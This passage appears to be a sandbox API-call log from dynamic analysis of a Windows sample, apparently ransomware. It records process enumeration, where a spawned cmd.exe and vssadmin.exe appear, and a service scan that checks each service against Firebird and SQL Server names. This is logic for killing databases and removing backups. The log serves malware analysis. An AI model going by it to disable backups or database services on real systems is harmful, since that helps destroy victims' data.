lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.423] lstrlenW (lpString="taskhost.exe") returned 12 [0056.423] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.424] lstrlenW (lpString="svchost.exe") returned 11 [0056.424] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0056.424] lstrlenW (lpString="taskeng.exe") returned 11 [0056.424] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.425] lstrlenW (lpString="taskhost.exe") returned 12 [0056.425] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0056.425] lstrlenW (lpString="br_maintaining.exe") returned 18 [0056.425] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0056.426] lstrlenW (lpString="kitsenormous.exe") returned 16 [0056.426] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0056.426] lstrlenW (lpString="intermediate-components.exe") returned 27 [0056.426] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0056.427] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0056.427] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0056.427] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0056.427] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0056.428] lstrlenW (lpString="stupid.exe") returned 10 [0056.428] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0056.428] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0056.428] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0056.429] lstrlenW (lpString="addition.exe") returned 12 [0056.429] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0056.429] lstrlenW (lpString="kept retirement.exe") returned 19 [0056.429] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0056.430] lstrlenW (lpString="lmmold.exe") returned 10 [0056.430] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0056.430] lstrlenW (lpString="soma weighted.exe") returned 17 [0056.430] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0056.431] lstrlenW (lpString="cartridge donation.exe") returned 22 [0056.431] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0056.431] lstrlenW (lpString="anti.exe") returned 8 [0056.431] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0056.432] lstrlenW (lpString="cashiersshot.exe") returned 16 [0056.432] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0056.432] lstrlenW (lpString="poundfi.exe") returned 11 [0056.432] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0056.433] lstrlenW (lpString="conditions_hired.exe") returned 20 [0056.433] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0056.433] lstrlenW (lpString="mercedes.exe") returned 12 [0056.433] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0056.434] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0056.434] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0056.434] lstrlenW (lpString="training_wiring.exe") returned 19 [0056.434] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0056.435] lstrlenW (lpString="democratic.exe") returned 14 [0056.435] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0056.435] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0056.435] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0056.436] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0056.436] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0056.436] lstrlenW (lpString="documented.exe") returned 14 [0056.436] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.553] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0056.554] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0056.559] lstrlenW (lpString="n.exe") returned 5 [0056.561] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0056.569] lstrlenW (lpString="cmd.exe") returned 7 [0056.570] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.575] lstrlenW (lpString="conhost.exe") returned 11 [0056.576] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0056.591] lstrlenW (lpString="vssadmin.exe") returned 12 [0056.593] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0056.599] lstrlenW (lpString="VSSVC.exe") returned 9 [0056.599] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.599] lstrlenW (lpString="svchost.exe") returned 11 [0056.600] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0056.600] CloseHandle (hObject=0x214) returned 1 [0056.600] Sleep (dwMilliseconds=0x1f4) [0057.225] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x73fed0 [0057.226] EnumServicesStatusExW (in: hSCManager=0x73fed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0057.226] GetLastError () returned 0xea [0057.226] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x12c6) returned 0x4023080 [0057.226] EnumServicesStatusExW (in: hSCManager=0x73fed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x12c6, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0057.227] CloseServiceHandle (hSCObject=0x73fed0) returned 1 [0057.227] lstrlenW (lpString="Appinfo") returned 7 [0057.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0057.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0057.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0057.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0057.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0057.227] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0057.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.227] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0057.227] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0057.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0057.227] lstrlenW (lpString="AudioSrv") returned 8 [0057.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0057.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0057.227] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0057.227] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0057.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0057.227] lstrlenW (lpString="BFE") returned 3 [0057.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0057.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0057.227] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0057.227] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0057.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0057.227] lstrlenW (lpString="CryptSvc") returned 8 [0057.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0057.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0057.227] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0057.227] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0057.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0057.228] lstrlenW (lpString="CscService") returned 10 [0057.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0057.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0057.228] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0057.228] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0057.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0057.228] lstrlenW (lpString="DcomLaunch") returned 10 [0057.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.228] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0057.228] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0057.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0057.228] lstrlenW (lpString="Dhcp") returned 4 [0057.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0057.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0057.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0057.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0057.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0057.228] lstrlenW (lpString="Dnscache") returned 8 [0057.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0057.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0057.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0057.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0057.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0057.228] lstrlenW (lpString="DPS") returned 3 [0057.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0057.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0057.228] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0057.228] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0057.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0057.228] lstrlenW (lpString="eventlog") returned 8 [0057.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0057.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0057.229] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0057.229] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0057.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0057.229] lstrlenW (lpString="EventSystem") returned 11 [0057.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0057.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0057.229] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0057.229] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0057.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0057.229] lstrlenW (lpString="gpsvc") returned 5 [0057.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0057.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0057.229] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0057.229] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0057.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0057.229] lstrlenW (lpString="iphlpsvc") returned 8 [0057.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.229] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0057.229] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0057.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0057.229] lstrlenW (lpString="LanmanServer") returned 12 [0057.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0057.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0057.229] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0057.229] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0057.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0057.229] lstrlenW (lpString="LanmanWorkstation") returned 17 [0057.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.229] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0057.229] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0057.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0057.229] lstrlenW (lpString="lmhosts") returned 7 [0057.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0057.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0057.230] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0057.230] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0057.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0057.230] lstrlenW (lpString="MMCSS") returned 5 [0057.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0057.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0057.230] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0057.230] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0057.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0057.230] lstrlenW (lpString="MpsSvc") returned 6 [0057.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0057.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0057.230] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0057.230] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0057.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0057.230] lstrlenW (lpString="Netman") returned 6 [0057.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0057.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0057.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0057.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0057.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0057.230] lstrlenW (lpString="netprofm") returned 8 [0057.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0057.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0057.230] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0057.230] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0057.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0057.230] lstrlenW (lpString="NlaSvc") returned 6 [0057.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0057.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0057.230] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0057.230] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0057.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0057.231] lstrlenW (lpString="nsi") returned 3 [0057.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0057.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0057.231] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0057.231] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0057.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0057.231] lstrlenW (lpString="PcaSvc") returned 6 [0057.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0057.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0057.231] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0057.231] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0057.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0057.231] lstrlenW (lpString="PlugPlay") returned 8 [0057.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0057.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0057.231] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0057.231] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0057.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0057.231] lstrlenW (lpString="Power") returned 5 [0057.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0057.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0057.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0057.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0057.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0057.231] lstrlenW (lpString="ProfSvc") returned 7 [0057.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0057.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0057.231] lstrcmpiW (lpString1="sqlwriter", 